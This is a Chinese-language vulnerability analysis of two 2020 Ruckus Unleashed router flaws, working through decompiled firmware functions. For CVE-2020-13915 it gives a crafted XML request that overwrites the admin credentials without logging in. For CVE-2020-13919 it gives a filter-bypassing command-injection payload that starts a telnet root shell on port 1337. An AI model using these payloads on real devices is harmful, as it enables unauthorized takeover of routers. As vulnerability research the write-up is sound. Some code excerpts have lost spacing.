Ruckus公司面向全球移動運營商、寬帶服務提供商和企業用戶,銷售、制造各種室內和室外型“智能Wi-Fi”產品。本文是針對于今年Ruckus品牌路由器的兩個漏洞進行分析復現。
CVE-2020-13915 認證覆蓋漏洞
概述
ruckus unleased 設備在今年的5月份修復了一個認證覆蓋漏洞,利用該漏洞可以通過未授權的方式將設備 Admin 用戶的登錄憑證進行覆蓋,從而達到接管 Admin 用戶的效果。漏洞公告見參考鏈接一。
固件下載
https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610
漏洞分析
使用 binwalk 將固件進行解壓,漏洞發生在 /web/admin/_wla_conf.jsp
腳本文件中,查看腳本文件的內容,其中WithoutLoginAccessCheck
作為回調函數進行執行,函數的參數為session["cid"]
和'true'
。
-
<%
-
Delegate("WithoutLoginAccessCheck", session["cid"],'true');
-
Delegate("AjaxConf", session["cid"]);
-
%>
該函數觸發的地方在 /bin/emfd
可執行文件中,在 ghidra 中搜索函數,找到WithoutLoginAccessCheck
函數,函數部分代碼如下:
-
...
-
if(!strcasecmp(ajax_action,"setconf"))
-
{
-
admin_child = xGetChild(v36,"admin");
-
if( admin_child !=0)
-
{
-
v37 = sub_60890(admin_child);
-
}
-
...
首先判斷前端 http 數據包中傳入的 post data 中的 action 屬性的值是否為 setconf,再使用 xGetChild
函數獲取 admin 子標簽,接著調用sub_60890
函數。
因此根據設備的數據包格式,這里需要構造的 post data 為:
-
<ajax-requestaction="setconf">
-
<admin/>
-
<ajax-request/>
跟進sub_60890
函數,這里主要判斷 admin 子標簽的屬性數量是否為 8,且這 8 個屬性名是否為 v41 變量到 v49 的值。
-
...
-
v41 = admin_element;
-
v42 ="username";
-
v43 ="fallback-local";
-
v44 ="authsvr-id";
-
v45 ="auth-by";
-
v46 ="x-password";
-
v47 ="IS_PARTIAL";
-
v48 ="reset";
-
v49 ="auth-token";
-
attrnum = xGetAttrNum(a1);
-
...
-
if(attrnum !=8){
-
return-1;
-
}
-
v2 = xAttrExists(v41, v42);
-
if(!v2){
-
return-1;
-
}
-
...
-
此時的 post data:
-
<ajax-requestaction="setconf">
-
<adminusername='admin'x-password='xxxxxx'auth-token=''reset=trueIS_PARTIAL=''auth-by='local'authsvr-id='0'fallback-local='true'/>
-
<ajax-request/>
接著回到/admin/_wla_conf.jsp
腳本文件中,第三行中同樣以回調的方式執行了AjaxConf
函數,該函數位于/usr/lib/libemf.so
動態鏈接庫程序中。
同樣在 ghidra 中找到函數的位置,部分代碼如下:
-
int adapter_setConf(char*attr_comp,undefined4 xmlstr){
-
...
-
iVar3 = adapter_validateConf(xmlstr);
-
if(iVar3 ==0x0){
-
iVar4 = strcmp(attr_comp,"system");
-
if(iVar4 ==0x0){
-
...
-
}
-
}
-
uVar6 = repoGetCurrent(attr_comp);
-
...
-
}
這里重新判斷了 post data 中 ajax-request
標簽中 comp 屬性的值,如果這里不為 system 的話,不會進入 if 判斷,轉而去執行repoGetCurrent
函數中,參數為 comp 屬性的值。跟進函數:
-
undefined4 repoGetCurrent(undefined4 uParm1)
-
{
-
undefined4 uVar1;
-
uVar1 = repoGetCurChild(uParm1,0x0,0x1);
-
return uVar1;
-
}
繼續跟進 repoGetCurChild
函數,第一個參數還是 comp 屬性的值,使用psprintf
函數格式化到 p_Var1 變量表示的棧上的內存空間之后,繼續執行_repoGetCache
函數。
-
int repoGetCurChild(char*pcParm1,char*pcParm2,bool bParm3){
-
...
-
pcVar2 =(char*)psprintf(p_Var1,"%s/airespider/%s.xml",PTR_DAT_000a39cc,pcParm1);
-
local_c = _repoGetCache("Current",p_Var1,pcParm1,pcVar2,pcParm2,bParm3,false);
-
...
-
}
繼續跟進函數,函數中又調用了 FUN_00054aec
函數,其中調用了_shash_insert
函數,將 post data 中整個 admin 標簽插入到psprintf
函數格式化的字符串表示文件中。
因為在 adapter_setConf 函數的 if 分支中,需要進行登錄認證,而在 if 分支之外調用repoGetCurrent
函數不需要進行認證,當 comp 屬性的值為/system
時,就可以繞過 strcmp 函數的判斷,不會進入到 if 分支。同時拼接的字符串文件名為:/etc/airespider-default//system.xml
。而 system.xml 存放的正是 admin 用戶的登錄憑證:
此時就可以達到未認證效果對 admin 用戶的登錄憑證進行覆蓋,從而達到未授權訪問的效果。
漏洞修復
新版本的 ruckus unleased 中,直接將 /admin/_wla_conf.jsp
腳本文件進行了刪除。
CVE-2020-13919 后臺命令注入漏洞
概述
關于 ruckus unleased 后臺命令注入漏洞復現。該漏洞是由一個歷史的命令注入漏洞過濾不嚴格造成的新漏洞。關于該歷史漏洞的詳情可以查看參考鏈接一。
固件下載
-
https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610
漏洞分析
將固件進行解壓之后,進入 /web 目錄,漏洞發生在 /web/admin/_cmdstat.jsp
腳本文件中,因為該漏洞是認證后的漏洞,所以腳本代碼中 if 判斷的 check 會通過,進而會去執行AjaxCmdStat
回調函數。
-
<%
-
Delegate("SessionCheck", session["cid"],'true');
-
var httpReq = request["headers"];
-
Delegate("CsrfTokenCheck", session["cid"], httpReq.HTTP_X_CSRF_TOKEN);
-
if(session["csrfAccepted"]=='true'){
-
Delegate("AjaxCmdStat", session["cid"]);
-
}
-
%>
同樣在 /bin/emfd
可執行文件中找到AjaxCmdStat
函數的位置,該函數直接調用了AjaxCmdStat_impl
函數:
-
voidAjaxCmdStat(undefined4 uParm1,undefined4 uParm2)
-
{
-
AjaxCmdStat_impl(uParm1,uParm2,0x0,0x0,0x0);
-
return;
-
}
跟進函數,在AjaxCmdStat_impl
函數的末尾,會接著調用adapter_doCommand
函數,adapter_doCommand
函數繼續調用doCommand
函數,該函數主要用來處理 post data 的 xcmd 子標簽,判斷 xcmd 子標簽中 cmd 屬性的值:
-
int __fastcall doCommand(int a1){
-
...
-
v1 = xGetAttrString(a1,"cmd",0);
-
s1 = v1;
-
if(!strcmp(s1,"get-features"))
-
return sub_BC9DC(0);
-
v17 = strcmp(s1,"get-feature-maxap");
-
if(!v17 )
-
return sub_BC904(v17, v18, v19);
-
v17 = strcmp(s1,"get-feature-value");
-
if(!v17 )
-
return sub_BC904(v17, v18, v19);
-
if(!strcmp(s1,"get-urlfiltering-maxap"))
-
return sub_BBE94(0, v20, v21);
-
if(!strcmp(s1,"get-maxclient"))
-
return sub_BB64C(0, v22, v23);
-
...
-
if(!strcmp(s1,"import-avpport"))
-
return sub_C1E08(v211);
-
...
-
}
如果這里的 cmd 屬性為 import-avpport
時會調用sub_C1E08
函數,跟進:
-
int __fastcall sub_C1E08(int xcmd){
-
...
-
v1 = xGetAttrString(xcmd,"uploadFile",&unk_23380C);
-
filename = v1;
-
v10 = is_validate_input_string(filename);
-
if(!v10){
-
return-1;
-
}
-
...
-
memset(&s,0,0x100u);
-
snprintf(&s,0x100u,"cp %s /etc/airespider/", filename);
-
system(&s);
-
...
-
}
此處 xcmd 變量為 xcmd 的標簽,從標簽中獲取到 uploadFile
屬性的值之后,會經過is_validate_input_string
函數對關鍵字符進行過濾,然后作為參數傳入snprintf
函數,之后繼續執行 system 函數。這里is_validate_input_string
函數位于usr/lib/libemf.so
動態鏈接庫程序中,其代碼如下:
-
undefined4 is_validate_input_string(char*pcParm1)
-
{
-
size_tsVar1;
-
char*pcVar2;
-
int local_c;
-
if(pcParm1 != ){
-
sVar1 = strlen(pcParm1);
-
local_c =0x0;
-
while(local_c <(int)sVar1){
-
pcVar2 = strchr("$;&|<>'"`\ ",(uint)(byte)pcParm1[local_c]);
-
if(pcVar2 != ){
-
return0xffffffff;
-
}
-
local_c = local_c +0x1;
-
}
-
}
-
return0x0;
-
}
可以看到這里過濾的字符串為:
-
$;&|<>'"`\
但是這里依然可以進行繞過,繞過的方法為:將分隔符設置成 #!/bin/shn
,空格替換成 t 即可,因此 payload 如下:
-
#!/bin/shntelnetdt-l/bin/sht-p1337
繞過之后在 system 函數處即為一個典型的命令注入漏洞。
漏洞修復
更新后的固件代碼中對關鍵的字符,如t、n等進行了更嚴格的過濾。
參考鏈接
-
https://support.ruckuswireless.com/security_bulletins/304
-
https://www.youtube.com/watch?v=Yt3mJlnODHU
-
https://alephsecurity.com/2020/01/14/ruckus-wireless/
-
https://www.youtube.com/watch?v=Yt3mJlnODHU